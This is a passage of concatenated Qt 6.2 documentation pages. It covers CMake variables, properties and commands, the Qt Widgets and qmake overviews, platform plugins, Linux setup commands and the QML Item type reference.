| `Qt6Widgets_LIBRARIES` | The name of the imported target for the module: `Qt5::Widgets` |
| `Qt6Widgets_PRIVATE_INCLUDE_DIRS` | A list of private include directories to use when building against the library and using private Qt API. |
| `Qt6Widgets_VERSION_STRING` | A string containing the module's version. |

 For all packages found with `find_package`, equivalents of these variables are available; they are case-sensitive.

 Installation variables
----------------------

 Additionally, there are also variables that don't relate to a particular package, but to the Qt installation itself.

 

| Variable | Description |
| --- | --- |
| `QT_DEFAULT_MAJOR_VERSION` | An integer that controls the Qt version that `qt_` commands forward to in case of mixed Qt 5 and Qt 6 projects. It needs to be set to either `5` or `6` before the respective `find_package()` calls.If set to `5`, commands starting with `qt_` will call their counterpart starting with `qt5_`. If set to `6`, they will call their counterpart starting with `qt6_`. If not set, the first `find_package` call defines the default version. |
| `QT_LIBINFIX` | A string that holds the infix used in library names, when Qt is configured with `-libinfix`. |
| `QT_NO_CREATE_VERSIONLESS_FUNCTIONS` | Hides commands that start with `qt_`, leaving only the versioned ones starting with `qt6_`. |
| `QT_NO_CREATE_VERSIONLESS_TARGETS` | Hides the imported targets starting with `Qt::`. Instead, you need to use the targets starting with `Qt6::`. |
| `QT_VISIBILITY_AVAILABLE` | On Unix, a boolean that describes whether Qt libraries and plugins were compiled with `-fvisibility=hidden`. This means that only selected symbols are exported. |

 Project variables
-----------------

 These variables can influence CMake commands provided by Qt. They may be set by the project, a toolchain file or other third-party packages.

 ### Qt6::Core

 

|  |  |
| --- | --- |
| [ANDROID\_NDK\_HOST\_SYSTEM\_NAME](cmake-variable-android-ndk-host-system-name) | Android-specific architecture of the host system |
| [ANDROID\_SDK\_ROOT](cmake-variable-android-sdk-root) | Location of the Android SDK |
| [QT\_ANDROID\_APPLICATION\_ARGUMENTS](cmake-variable-qt-android-application-arguments) | List of arguments to pass to Android applications |
| [QT\_HOST\_PATH](cmake-variable-qt-host-path) | Location of the host Qt installation when cross-compiling |
| [QT\_NO\_SET\_XCODE\_BUNDLE\_IDENTIFIER](cmake-variable-qt-no-set-xcode-bundle-identifier) | Disables providing a fallback app bundle ID during target finalization on iOS |
| [QT\_NO\_SET\_XCODE\_DEVELOPMENT\_TEAM\_ID](cmake-variable-qt-no-set-xcode-development-team-id) | Disables providing a fallback team ID during target finalization on iOS |

 ### Qt6::Qml

 

|  |  |
| --- | --- |
| [QT\_QML\_OUTPUT\_DIRECTORY](cmake-variable-qt-qml-output-directory) | Base output directory below which QML modules will be created by default |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-variable-reference.html>

CMake Property Reference
========================

 Qt6::Core
---------

 ### Target Properties

 

|  |  |
| --- | --- |
| [QT\_ANDROID\_DEPLOYMENT\_DEPENDENCIES](https://doc.qt.io/qt-6.2/cmake-target-property-qt-android-deployment-dependencies.html) | Overrides the Qt dependencies added to the target's deployment |
| [QT\_ANDROID\_DEPLOYMENT\_SETTINGS\_FILE](https://doc.qt.io/qt-6.2/cmake-target-property-qt-android-deployment-settings-file.html) | Specifies the location of a target's generated deployment settings file |
| [QT\_ANDROID\_EXTRA\_LIBS](cmake-target-property-qt-android-extra-libs) | Extra libraries to deploy with the target |
| [QT\_ANDROID\_EXTRA\_PLUGINS](cmake-target-property-qt-android-extra-plugins) | Extra Qt plugins to deploy with the target |
| [QT\_ANDROID\_MIN\_SDK\_VERSION](cmake-target-property-qt-android-min-sdk-version) | Minimum Android SDK version |
| [QT\_ANDROID\_PACKAGE\_SOURCE\_DIR](cmake-target-property-qt-android-package-source-dir) | Path to a custom Android package template |
| [QT\_ANDROID\_TARGET\_SDK\_VERSION](cmake-target-property-qt-android-target-sdk-version) | Android target SDK version |
| [QT\_ANDROID\_VERSION\_CODE](cmake-target-property-qt-android-version-code) | Internal Android app version |
| [QT\_ANDROID\_VERSION\_NAME](cmake-target-property-qt-android-version-name) | Human-readable Android app version |
| [QT\_QML\_IMPORT\_PATH](cmake-target-property-qt-qml-import-path) | Specifies a list of directories to search for QML imports |
| [QT\_QML\_ROOT\_PATH](cmake-target-property-qt-qml-root-path) | Overrides the location of the application's qml directory |
| [QT\_RESOURCE\_PREFIX](cmake-target-property-qt-resource-prefix) | Specifies the default Qt resource prefix |
| [qt\_no\_entrypoint](cmake-target-property-qt-no-entrypoint) | Specifies to inhibit linking against Qt's entrypoint lib |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-property-reference.html>

CMake Command Reference
=======================

 ### Qt6::Core

 

|  |  |
| --- | --- |
| [qt\_add\_big\_resources](qt-add-bigresources) | Compiles big binary resources into object code |
| [qt\_add\_binary\_resources](qt-add-binary-resources) | Creates an RCC file from a list of Qt resource files |
| [qt\_add\_executable](qt-add-executable) | Creates and finalizes an application target of a platform-specific type |
| [qt\_add\_library](qt-add-library) | Creates and finalizes a library |
| [qt\_add\_plugin](qt-add-plugin) | Creates a Qt plugin target |
| [qt\_add\_resources](qt-add-resources) | Compiles binary resources into source code |
| [qt\_allow\_non\_utf8\_sources](qt-allow-non-utf8-sources) | Prevents forcing source files to be treated as UTF-8 for Windows |
| [qt\_android\_add\_apk\_target](qt-android-add-apk-target) | Defines a build target that runs androiddeployqt to produce an APK |
| [qt\_android\_apply\_arch\_suffix](qt-android-apply-arch-suffix) | Configures the target binary's name to include an architecture-specific suffix |
| [qt\_android\_generate\_deployment\_settings](https://doc.qt.io/qt-6.2/qt-android-generate-deployment-settings.html) | Generates the deployment settings file needed by androiddeployqt |
| [qt\_disable\_unicode\_defines](qt-disable-unicode-defines) | Prevents some unicode-related compiler definitions being set automatically on a target |
| [qt\_finalize\_target](qt-finalize-target) | Handles various common platform-specific tasks associated with Qt targets |
| [qt\_generate\_moc](qt-generate-moc) | Calls moc on an input file |
| [qt\_import\_plugins](qt-import-plugins) | Specifies a custom set of plugins to import for a static Qt build |
| [qt\_wrap\_cpp](qt-wrap-cpp) | Creates .moc files from sources |

 ### Qt6::DBus

 

|  |  |
| --- | --- |
| [qt\_add\_dbus\_adaptor](qtdbus-cmake-qt-add-dbus-adaptor) | Generates an adaptor class for a D-Bus interface |
| [qt\_add\_dbus\_interface](qtdbus-cmake-qt-add-dbus-interface) | Generates C++ sources implementing an interface for a D-Bus interface description file |
| [qt\_add\_dbus\_interfaces](qtdbus-cmake-qt-add-dbus-interfaces) | Generates C++ sources implementing interfaces for D-Bus interface description files |
| [qt\_generate\_dbus\_interface](qtdbus-cmake-qt-generate-dbus-interface) | Generates a D-Bus interface from a header file |

 ### Qt6::LinguistTools

 

|  |  |
| --- | --- |
| [qt\_add\_lrelease](https://doc.qt.io/qt-6.2/qtlinguist-cmake-qt-add-lrelease.html) | Add targets to transform Qt Linguist .ts files into .qm files |
| [qt\_add\_lupdate](https://doc.qt.io/qt-6.2/qtlinguist-cmake-qt-add-lupdate.html) | Add targets to generate or update Qt Linguist .ts files |
| [qt\_add\_translation](https://doc.qt.io/qt-6.2/qtlinguist-cmake-qt-add-translation.html) | Compiles Qt Linguist .ts files into .qm files |
| [qt\_add\_translations](https://doc.qt.io/qt-6.2/qtlinguist-cmake-qt-add-translations.html) | Add targets to update and transform Qt Linguist .ts files into .qm files |
| [qt\_create\_translation](https://doc.qt.io/qt-6.2/qtlinguist-cmake-qt-create-translation.html) | Sets up the Qt Linguist translation toolchain |

 ### Qt6::Qml

 

|  |  |
| --- | --- |
| [qt\_add\_qml\_module](https://doc.qt.io/qt-6.2/qt-add-qml-module.html) | Defines a QML module |
| [qt\_add\_qml\_plugin](qt-add-qml-plugin) | Defines a plugin associated with a QML module |
| [qt\_import\_qml\_plugins](qt-import-qml-plugins) | Ensures QML plugins needed by a target are imported for static builds |
| [qt\_target\_qml\_sources](qt-target-qml-sources) | Add qml files and resources to an existing QML module target |

 ### Qt6::RemoteObjects

 

|  |  |
| --- | --- |
| [qt\_add\_repc\_merged](qtremoteobjects-cmake-qt-add-repc-merged) | Creates C++ header files for source and replica types from the Qt Remote Objects .rep files |
| [qt\_add\_repc\_replicas](qtremoteobjects-cmake-qt-add-repc-replicas) | Creates C++ header files for replica types from the Qt Remote Objects .rep files |
| [qt\_add\_repc\_sources](qtremoteobjects-cmake-qt-add-repc-sources) | Creates C++ header files for source types from the Qt Remote Objects .rep files |
| [qt\_reps\_from\_headers](qtremoteobjects-cmake-qt-rep-from-headers) | Creates .rep files from the QObject header files |

 ### Qt6::Scxml

 

|  |  |
| --- | --- |
| [qt\_add\_statecharts](qtscxml-cmake-qt-add-statecharts) |  |

 ### Qt6::Widgets

 

|  |  |
| --- | --- |
| [qt\_wrap\_ui](qt-wrap-ui) | Creates sources for .ui files |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-command-reference.html>

Qt Widgets
==========

 The [Qt Widgets Module](https://doc.qt.io/qt-6.2/qtwidgets-module.html) provides a set of UI elements to create classic desktop-style user interfaces. See the [User Interfaces](https://doc.qt.io/qt-6.2/topics-ui.html) overview for more information on using widgets.

 Widgets
-------

 Widgets are the primary elements for creating user interfaces in Qt. [Widgets](widget-classes#the-widget-classes) can display data and status information, receive user input, and provide a container for other widgets that should be grouped together. A widget that is not embedded in a parent widget is called a [window](application-windows).

 ![A parent widget containing various child widgets.]


The [QWidget](qwidget) class provides the basic capability to render to the screen, and to handle user input events. All UI elements that Qt provides are either subclasses of [QWidget](qwidget), or are used in connection with a [QWidget](qwidget) subclass. Creating custom widgets is done by subclassing [QWidget](qwidget) or a suitable subclass and reimplementing the virtual event handlers.

 * [Window and Dialog Widgets](application-windows)
* [Application Main Window](mainwindow)
* [Dialog Windows](dialogs)
* [Keyboard Focus in Widgets](focus)

 Styles
------

 [Styles](style-reference) draw on behalf of widgets and encapsulate the look and feel of a GUI. Qt's built-in widgets use the [QStyle](qstyle) class to perform nearly all of their drawing, ensuring that they look exactly like the equivalent native widgets.

 

|  |  |  |
| --- | --- | --- |
|  |  |  |

 [Qt Style Sheets](stylesheet) are a powerful mechanism that allows you to customize the appearance of widgets, in addition to what is already possible by subclassing [QStyle](qstyle).

 Layouts
-------

 [Layouts](layout) are an elegant and flexible way to automatically arrange child widgets within their container. Each widget reports its size requirements to the layout through the [sizeHint](qwidget#sizeHint-prop) and [sizePolicy](qwidget#sizePolicy-prop) properties, and the layout distributes the available space accordingly.

 

|  |  |
| --- | --- |
|  |  |

 [Qt Designer](qtdesigner-manual) is a powerful tool for interactively creating and arranging widgets in layouts.

 Model/View Classes
------------------

 The [model/view](model-view-programming) architecture provides classes that manage the way data is presented to the user. Data-driven applications which use lists and tables are structured to separate the data and view using models, views, and delegates.

 ![]


Graphics View
-------------

 The [Graphics View Framework](graphicsview) is for managing and interacting with a large number of custom-made 2D graphical items, and a view widget for visualizing the items, with support for zooming and rotation.

 ![]


Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Widgets REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Widgets)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 To configure the module for building with qmake, add the module as a value of the `QT` variable in the project's .pro file:

 
```
QT += widgets
```
 Module Evolution
----------------

 [Changes to Qt Widgets](widgets-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses
--------

 The Qt Widgets module is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Related Information
-------------------

 ### Tutorials

 * [Widgets Tutorial](https://doc.qt.io/qt-6.2/widgets-tutorial.html)
* [Getting Started Programming with Qt Widgets](https://doc.qt.io/qt-6.2/qtwidgets-tutorials-notepad-example.html)
* [Creating a Qt Widget Based Application](https://doc.qt.io/qtcreator/creator-writing-program.html)
* [Model/View Tutorial](https://doc.qt.io/qt-6.2/modelview.html)

 ### Examples

 * [Qt Widgets Examples](https://doc.qt.io/qt-6.2/examples-widgets.html)
* [Layout Examples](layout#layout-examples)

 API Reference
-------------

 These are links to the API reference materials.

 * [Qt Widgets C++ Classes](https://doc.qt.io/qt-6.2/qtwidgets-module.html)
	+ [Basic Widget Classes](widget-classes#basic-widget-classes)
	+ [Advanced Widget Classes](widget-classes#advanced-widget-classes)
	+ [Abstract Widget Classes](widget-classes#abstract-widget-classes)
	+ [Organizer Widget Classes](widget-classes#organizer-widget-classes)
	+ [Graphics View Classes](widget-classes#graphics-view-classes)
	+ [Model/View Classes](model-view-programming#model-view-classes)
	+ [Main Window and Related Classes](widget-classes#main-window-and-related-classes)
	+ [Widget Appearance and Style Related Classes](widget-classes#widget-appearance-and-style-related-classes)
	+ [Layout Classes](widget-classes#layout-classes)
* [Qt Style Sheets Reference](stylesheet-reference)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtwidgets-index.html>

qmake Manual
============

 The qmake tool helps simplify the build process for development projects across different platforms. It automates the generation of Makefiles so that only a few lines of information are needed to create each Makefile. You can use qmake for any software project, whether it is written with Qt or not.

 qmake generates a Makefile based on the information in a project file. Project files are created by the developer, and are usually simple, but more sophisticated project files can be created for complex projects.

 qmake contains additional features to support development with Qt, automatically including build rules for <moc> and <uic>.

 qmake can also generate projects for Microsoft Visual studio without requiring the developer to change the project file.

 Table of Contents
-----------------

 * [Overview](https://doc.qt.io/qt-6.2/qmake-overview.html)
* [Getting Started with qmake](https://doc.qt.io/qt-6.2/qmake-tutorial.html)
* [Creating Project Files](qmake-project-files)
* [Building Common Project Types](qmake-common-projects)
* [Running qmake](qmake-running)
* [Platform Notes](qmake-platform-notes)
* [qmake Language](qmake-language)
* [Advanced Usage](qmake-advanced-usage)
* [Using Precompiled Headers](qmake-precompiledheaders)
* [Configuring qmake](qmake-environment-reference)
* [Reference](qmake-reference)
	+ [Variables](qmake-variable-reference)
	+ [Replace Functions](qmake-function-reference)
		- [Built-in Replace Functions](qmake-function-reference#built-in-replace-functions)
	+ [Test Functions](qmake-test-function-reference)
		- [Built-in Test Functions](qmake-test-function-reference#built-in-test-functions)
		- [Test Function Library](qmake-test-function-reference#test-function-library)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qmake-manual.html>

Qt Platform Abstraction
=======================

 The Qt Platform Abstraction (QPA) is the main platform abstraction layer in Qt.

 The API can be identified by the `QPlatform*` class prefix, and is used for implementing higher level classes typically found in [Qt GUI](qtgui-index), e.g. `QPlatformWindow` for window system integration exposed through [QWindow](qwindow), or `QPlatformTheme` for deeper platform theming and integration, exposed through QStyleHint and [QStyle](qstyle).

 There are no source or binary compatibility guarantees for the QPA classes, meaning that the API is only guaranteed to work with the Qt version it was developed against. API changes will however only be made in minor releases. (5.1, 5.2, and so on.)

 API Overview
------------

 * Window system integration
	+ QPlatformIntegration
	+ QPlatformAccessibility
	+ QPlatformBackingStore
	+ QPlatformClipboard
	+ QPlatformCursor
	+ QPlatformDrag
	+ QPlatformFontDatabase
	+ QPlatformGraphicsBuffer
	+ QPlatformInputContext
	+ QPlatformOffscreenSurface
	+ QPlatformOpenGLContext
	+ QPlatformScreen
	+ QPlatformServices
	+ QPlatformSharedGraphicsCache
	+ QPlatformSurface
	+ QPlatformWindow
* Style/theming
	+ QPlatformTheme
	+ platform palettes
	+ platform fonts
	+ theme hints
* Native dialogs and menus
	+ QPlatformDialogHelper
	+ QPlatformMenu
	+ QPlatformMenuBar
	+ QPlatformMenuItem

  **Note:** In addition to the QPA APIs, there are many other platform abstractions in Qt, for example the event dispatcher abstractions in [Qt Core](qtcore-index) and the rendering hardware abstractions in RHI. The QPA APIs are mostly focused on window system integration and related support.

  QPA Plugins
-----------

 Concrete implementations of the interfaces listed above live in QPA plugins, or platform plugins, adding support for the various platforms Qt runs on. QPA plugins are implemented by subclassing the `QPlatform*` classes.

 The following table summarizes the platform plugins available:

 

| Plugin Name | Plugin Class Name | Description |
| --- | --- | --- |
| `qandroid` | QAndroidPlatformIntegration | [Android support](android) |
| `qbsdfb` | QBsdFbIntegration | BsdFb support |
| `qcocoa` | QCocoaIntegrationPlugin | [macOS support](macos) |
| `qdirect2d` | QWindowsDirect2DIntegrationPlugin | Similar to the `qwindows` plugin, but replaces the raster paint engine with a Direct2D-based paint engine for [QPixmap](qpixmap) and [QBackingStore](qbackingstore). |
| `qdirectfb` | QDirectFbIntegrationPlugin | DirectFB is centered around *surfaces*, which are the equivalent of a [QPaintDevice](qpaintdevice). |
| `qeglfs` | QEglFSIntegrationPlugin | [EGLFS](embedded-linux#embedded-eglfs) support for embedded Linux devices. |
| `qhaiku` | QHaikuIntegration | Haiku support |
| `qios` | QIOSIntegrationPlugin | [iOS support](ios) |
| `qlinuxfb` | QLinuxFbIntegrationPlugin | [LinuxFB](embedded-linux#linuxfb) support for embedded Linux devices. |
| `qmirclient` | QMirClientIntegration | Mir client support |
| `qopenwf` | QOpenWFDIntegrationPlugin | OpenWF Display support for managing display control hardware. |
| `qvnc` | QVncIntegration | VNC support |
| `qwayland` | * QWaylandIntegrationPlugin
* QWaylandBrcmEglPlatformIntegrationPlugin
* QWaylandEglPlatformIntegrationPlugin
* QWaylandXCompositeEglPlatformIntegrationPlugin
* QWaylandXCompositeGlxPlatformIntegrationPlugin
 | [Wayland support](qtwaylandcompositor-index) |
| `qwindows` | QWindowsIntegrationPlugin | [Windows support](windows) |
| `qxcb` | QXcbIntegrationPlugin | [X Window System (X11) support](linux) |

 ### Writing a QPA plugin

 There is no detailed tutorial documentation for writing QPA plugins at this time. However, there are two minimal plugins shipped with Qt for testing and other special purposes that you can use as examples:

 * `qtbase/src/plugins/platforms/minimal/`
* `qtbase/src/plugins/platforms/minimalegl/`

 The `qminimal` plugin is used for tools that link against [Qt GUI](qtgui-index), but do not require window system integration (for example, `qmlplugindump`). It also has diagnostic support for dumping window contents to image files as determined by environment variables.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qpa.html>

Qt for Linux/X11
================

 Qt's support for different Linux platforms is extensive and mature.

 To download and install Qt for Linux, follow the instructions on the [Getting Started with Qt](gettingstarted) page.

 Supported Configurations
------------------------

 The following configurations are supported.

 

| Distribution | Architecture | Compiler | Notes |
| --- | --- | --- | --- |
| CentOS Linux 8.2 | `x86_64` | GCC 10 (toolset) |  |
| openSUSE 15.3 | `x86_64` | GCC 9 |  |
| SUSE Linux Enterprise Server 15 SP3 | `x86_64` | GCC 10 |  |
| Ubuntu 20.04 | `x86_64` | GCC as provided by Canonical, GCC 9.x |  |
| Generic Linux | `x86` and `x86_64` | GCC 9 |  |

 Requirements for Development Host
---------------------------------

 The Qt installers for Linux assume that a C++ compiler, debugger, make, and other development tools are provided by the host operating system. In addition, building graphical Qt applications requires OpenGL libraries and headers installed. Most Linux distributions do not install all of these by default, but setting up a development environment is still straightforward.

 Use the following commands to install the basic requirements for building Qt applications:

 #### Debian/Ubuntu (apt-get)

 
```
sudo apt-get install build-essential libgl1-mesa-dev
```
 #### Fedora/RHEL/CentOS (yum)

 
```
sudo yum groupinstall "C Development Tools and Libraries"
sudo yum install mesa-libGL-devel
```
 #### openSUSE (zypper)

 
```
sudo zypper install -t pattern devel_basis
```
 Building Qt from Source
-----------------------

 You can also build Qt from the source package and configure it according to your target platform. The source packages are obtained from <http://www.qt.io/download/>.

 Below, you will find more information about building Qt from source.

 * [Qt for X11 Requirements](linux-requirements)
* [Qt for Linux/X11 - Building from Source](https://doc.qt.io/qt-6.2/linux-building.html)

 Deployment and Other Issues
---------------------------

 The pages below covers specific issues and recommendations for creating Linux/X11 applications.

 * [Qt for Linux/X11 - Deployment](https://doc.qt.io/qt-6.2/linux-deployment.html)
* [Qt for Linux/X11 - Specific Issues](linux-issues)

 Where to Go from Here
---------------------

 We invite you to explore the rest of Qt. We prepared overviews which help you decide which APIs to use and our examples demonstrate how to use our API.

 * [Qt Overviews](https://doc.qt.io/qt-6.2/overviews-main.html) - list of topics about application development
* [Examples and Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html) - code samples and tutorials
* [Qt Reference Pages](https://doc.qt.io/qt-6.2/reference-overview.html) - a listing of C++ and QML APIs

 Qt's vibrant and active community site, <http://qt.io> houses a wiki, a forum, and additional learning guides and presentations.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/linux.html>

Item QML Type
=============

 A basic visual QML type. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Instantiates: | [QQuickItem](qquickitem) |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |
|  Inherited By: | [AnimatedSprite](qml-qtquick-animatedsprite), [BorderImage](qml-qtquick-borderimage), [Canvas](qml-qtquick-canvas), [Column](qml-qtquick-column), [ColumnLayout](qml-qtquick-layouts-columnlayout), [DropArea](qml-qtquick-droparea), [Flickable](qml-qtquick-flickable), [Flipable](qml-qtquick-flipable), [Flow](qml-qtquick-flow), [FocusScope](qml-qtquick-focusscope), [Grid](qml-qtquick-grid), [GridLayout](qml-qtquick-layouts-gridlayout), [Image](qml-qtquick-image), [Loader](qml-qtquick-loader), [MouseArea](qml-qtquick-mousearea), [MultiPointTouchArea](qml-qtquick-multipointtoucharea), [ParticlePainter](qml-qtquick-particles-particlepainter), [PathView](qml-qtquick-pathview), [PinchArea](qml-qtquick-pincharea), [Rectangle](qml-qtquick-rectangle), [Repeater](qml-qtquick-repeater), [Row](qml-qtquick-row), [RowLayout](qml-qtquick-layouts-rowlayout), [ShaderEffect](qml-qtquick-shadereffect), [ShaderEffectSource](qml-qtquick-shadereffectsource), [Shape](qml-qtquick-shapes-shape), [SpriteSequence](qml-qtquick-spritesequence), [StackLayout](qml-qtquick-layouts-stacklayout), [Text](qml-qtquick-text), [TextEdit](qml-qtquick-textedit), and [TextInput](qml-qtquick-textinput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-item-members.html)

 Properties
----------

 * **[activeFocus](qml-qtquick-item#activeFocus-prop)** : bool
* **[activeFocusOnTab](qml-qtquick-item#activeFocusOnTab-prop)** : bool
* **[anchors](qml-qtquick-item#anchors-prop)**
	+ **[anchors.alignWhenCentered](qml-qtquick-item#anchors.alignWhenCentered-prop)** : bool
	+ **[anchors.baseline](qml-qtquick-item#anchors.baseline-prop)** : AnchorLine
	+ **[anchors.baselineOffset](qml-qtquick-item#anchors.baselineOffset-prop)** : real
	+ **[anchors.bottom](qml-qtquick-item#anchors.bottom-prop)** : AnchorLine
	+ **[anchors.bottomMargin](qml-qtquick-item#anchors.bottomMargin-prop)** : real
	+ **[anchors.centerIn](qml-qtquick-item#anchors.centerIn-prop)** : Item
	+ **[anchors.fill](qml-qtquick-item#anchors.fill-prop)** : Item
	+ **[anchors.horizontalCenter](qml-qtquick-item#anchors.horizontalCenter-prop)** : AnchorLine
	+ **[anchors.horizontalCenterOffset](qml-qtquick-item#anchors.horizontalCenterOffset-prop)** : real
	+ **[anchors.left](qml-qtquick-item#anchors.left-prop)** : AnchorLine
	+ **[anchors.leftMargin](qml-qtquick-item#anchors.leftMargin-prop)** : real
	+ **[anchors.margins](qml-qtquick-item#anchors.margins-prop)** : real
	+ **[anchors.right](qml-qtquick-item#anchors.right-prop)** : AnchorLine
	+ **[anchors.rightMargin](qml-qtquick-item#anchors.rightMargin-prop)** : real
	+ **[anchors.top](qml-qtquick-item#anchors.top-prop)** : AnchorLine
	+ **[anchors.topMargin](qml-qtquick-item#anchors.topMargin-prop)** : real
	+ **[anchors.verticalCenter](qml-qtquick-item#anchors.verticalCenter-prop)** : AnchorLine
	+ **[anchors.verticalCenterOffset](qml-qtquick-item#anchors.verticalCenterOffset-prop)** : real
* **[antialiasing](qml-qtquick-item#antialiasing-prop)** : bool
* **[baselineOffset](qml-qtquick-item#baselineOffset-prop)** : int
* **[children](qml-qtquick-item#children-prop)** : list<Item>
* **[childrenRect](qml-qtquick-item#childrenRect-prop)**
	+ **[childrenRect.height](qml-qtquick-item#childrenRect.height-prop)** : real
	+ **[childrenRect.width](qml-qtquick-item#childrenRect.width-prop)** : real
	+ **[childrenRect.x](qml-qtquick-item#childrenRect.x-prop)** : real
	+ **[childrenRect.y](qml-qtquick-item#childrenRect.y-prop)** : real
* **[clip](qml-qtquick-item#clip-prop)** : bool
* **[containmentMask](qml-qtquick-item#containmentMask-prop)** : QObject\*
* **[data](qml-qtquick-item#data-prop)** : list<Object>
* **[enabled](qml-qtquick-item#enabled-prop)** : bool
* **[focus](qml-qtquick-item#focus-prop)** : bool
* **[height](qml-qtquick-item#height-prop)** : real
* **[implicitHeight](qml-qtquick-item#implicitHeight-prop)** : real
* **[implicitWidth](qml-qtquick-item#implicitWidth-prop)** : real
* **[layer.effect](qml-qtquick-item#layer.effect-prop)** : Component
* **[layer.enabled](qml-qtquick-item#layer.enabled-prop)** : bool
* **[layer.format](qml-qtquick-item#layer.format-prop)** : enumeration
* **[layer.mipmap](qml-qtquick-item#layer.mipmap-prop)** : bool
* **[layer.samplerName](qml-qtquick-item#layer.samplerName-prop)** : string
* **[layer.samples](qml-qtquick-item#layer.samples-prop)** : enumeration
* **[layer.smooth](qml-qtquick-item#layer.smooth-prop)** : bool
* **[layer.sourceRect](qml-qtquick-item#layer.sourceRect-prop)** : rect
* **[layer.textureMirroring](qml-qtquick-item#layer.textureMirroring-prop)** : enumeration
* **[layer.textureSize](qml-qtquick-item#layer.textureSize-prop)** : size
* **[layer.wrapMode](qml-qtquick-item#layer.wrapMode-prop)** : enumeration
* **[opacity](qml-qtquick-item#opacity-prop)** : real
* **[palette](qml-qtquick-item#palette-prop)** : Palette
* **[parent](qml-qtquick-item#parent-prop)** : Item
* **[resources](qml-qtquick-item#resources-prop)** : list<Object>
* **[rotation](qml-qtquick-item#rotation-prop)** : real
* **[scale](qml-qtquick-item#scale-prop)** : real
* **[smooth](qml-qtquick-item#smooth-prop)** : bool
* **[state](qml-qtquick-item#state-prop)** : string
* **[states](qml-qtquick-item#states-prop)** : list<State>
* **[transform](qml-qtquick-item#transform-prop)** : list<Transform>
* **[transformOrigin](qml-qtquick-item#transformOrigin-prop)** : enumeration
* **[transitions](qml-qtquick-item#transitions-prop)** : list<Transition>
* **[visible](qml-qtquick-item#visible-prop)** : bool
* **[visibleChildren](qml-qtquick-item#visibleChildren-prop)** : list<Item>
* **[width](qml-qtquick-item#width-prop)** : real
* **[x](qml-qtquick-item#x-prop)** : real
* **[y](qml-qtquick-item#y-prop)** : real
* **[z](qml-qtquick-item#z-prop)** : real

 Methods
-------

 * **[childAt](qml-qtquick-item#childAt-method)**(real *x*, real *y*)
* bool **[contains](qml-qtquick-item#contains-method)**(point *point*)
* **[forceActiveFocus](qml-qtquick-item#forceActiveFocus-method-1)**(Qt::FocusReason *reason*)
* **[forceActiveFocus](qml-qtquick-item#forceActiveFocus-method)**()
* bool **[grabToImage](qml-qtquick-item#grabToImage-method)**(*callback*, *targetSize*)
* point **[mapFromGlobal](qml-qtquick-item#mapFromGlobal-method)**(real *x*, real *y*)
* rect **[mapFromItem](qml-qtquick-item#mapFromItem-method-3)**(Item *item*, rect *r*)
* rect **[mapFromItem](qml-qtquick-item#mapFromItem-method-2)**(Item *item*, real *x*, real *y*, real *width*, real *height*)
* point **[mapFromItem](qml-qtquick-item#mapFromItem-method)**(Item *item*, real *x*, real *y*)
* point **[mapFromItem](qml-qtquick-item#mapFromItem-method-1)**(Item *item*, point *p*)
* point **[mapToGlobal](qml-qtquick-item#mapToGlobal-method)**(real *x*, real *y*)
* rect **[mapToItem](qml-qtquick-item#mapToItem-method-3)**(Item *item*, rect *r*)
* rect **[mapToItem](qml-qtquick-item#mapToItem-method-2)**(Item *item*, real *x*, real *y*, real *width*, real *height*)
* point **[mapToItem](qml-qtquick-item#mapToItem-method)**(Item *item*, real *x*, real *y*)
* point **[mapToItem](qml-qtquick-item#mapToItem-method-1)**(Item *item*, point *p*)
* **[nextItemInFocusChain](qml-qtquick-item#nextItemInFocusChain-method)**(bool *forward*)

 Detailed Description
--------------------

 The Item type is the base type for all visual items in Qt Quick.

 All visual items in Qt Quick inherit from Item. Although an Item object has no visual appearance, it defines all the attributes that are common across visual items, such as x and y position, width and height, [anchoring](qtquick-positioning-anchors) and key handling support.

 The Item type can be useful for grouping several items under a single root visual item. For example:

 
```
import QtQuick 2.0

Item {
    Image {
        source: "tile.png"
    }
    Image {
        x: 80
        width: 100
        height: 100
        source: "tile.png"
    }
    Image {
        x: 190
        width: 100
        height: 100
        fillMode: Image.Tile
        source: "tile.png"
    }
}
```
 ### Event Handling

 All Item-based visual types can use [Input Handlers](qtquickhandlers-index) to handle incoming input events (subclasses of [QInputEvent](qinputevent)), such as mouse, touch and key events. This is the preferred declarative way to handle events.

 An alternative way to handle touch events is to subclass [QQuickItem](qquickitem), call setAcceptTouchEvents() in the constructor, and override touchEvent(). [Accept](qevent#accepted-prop) the entire event to stop delivery to items underneath, and to exclusively grab for all the event's touch points. Use [QPointerEvent::setExclusiveGrabber](qpointerevent#setExclusiveGrabber)() to grab only certain touchpoints, and allow the event to be delivered further.

